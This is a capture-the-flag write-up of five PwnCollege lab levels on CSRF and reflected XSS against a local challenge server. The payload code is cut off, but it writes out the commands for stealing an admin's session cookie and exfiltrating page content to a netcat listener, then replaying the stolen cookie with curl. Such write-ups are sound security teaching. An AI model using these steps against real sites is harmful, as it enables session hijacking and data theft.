PwnCollege - CSRF
CSRF 1
In this level, the application has a /publish route that
uses a GET request to change the state of the application
(publishing drafts). Since GET requests should ideally be
idempotent and not change state, this is a classic CSRF
vulnerability.
Analysis
The server-side code for the /publish route:
1 |
|
Exploit
We can host a simple HTML page that redirects the victim (the admin)
to the /publish endpoint. When the admin visits our page,
their browser will automatically include their session cookies when
following the redirect to challenge.localhost.
Payload (index.html):
1 | <script> |
Execution:
- Host the payload:
python3 -m http.server 1337 - Trigger the victim to visit your server:
/challenge/victim - The admin’s drafts are now published. Fetch the flag:
1
2curl -X POST http://challenge.localhost:80/login -d "username=hacker&password=1337"
curl "http://challenge.localhost:80/"
CSRF Level 2: POST-based CSRF
The /publish route now requires a POST
request. While this prevents simple link-based triggers, it doesn’t stop
CSRF if there are no CSRF tokens or origin checks.
Exploit
We use an HTML form that automatically submits itself via JavaScript
to perform the POST request on behalf of the admin.
Payload (index.html):
1 | <form |
Execution:
- Host the payload on port 1337.
- Run
/challenge/victim. - Login and check the published posts to find the flag.
CSRF Level 3: Reflected XSS
This level introduces a reflected XSS vulnerability in the
/ephemeral route. The msg parameter is
rendered directly into the page without sanitization.
Analysis
1 |
|
Exploit
We can inject a script tag through the msg
parameter.
Payload:
1 | <script> |
CSRF Level 4: Cookie Stealing via XSS
Building on the previous level, we use the XSS vulnerability to steal the admin’s session cookie.
Exploit
We inject a script that reads document.cookie and sends
it to our attacker-controlled listener.
Payload (index.html):
1 | <script> |
Execution:
- Listen for the incoming cookie:
nc -l -p 1338 - Host the payload and trigger the victim.
- Once the cookie is captured (e.g.,
auth=admin|...), use it to access the flag:1
curl --cookie "auth=admin|..." "http://challenge.localhost:80/"
CSRF Level 5: Data Exfiltration via XSS
In this final level, we use XSS to fetch the content of the admin’s home page (where the flag is displayed) and send the entire HTML back to our listener.
Exploit
The payload performs an internal fetch('/') while the
admin is authenticated, then POSTs the response body to the
attacker.
Payload (index.html):
1 | <script> |
Execution:
- Listen for the POST data:
nc -l -p 1338 - Host the payload and trigger the victim.
- The flag will be contained within the HTML received by Netcat.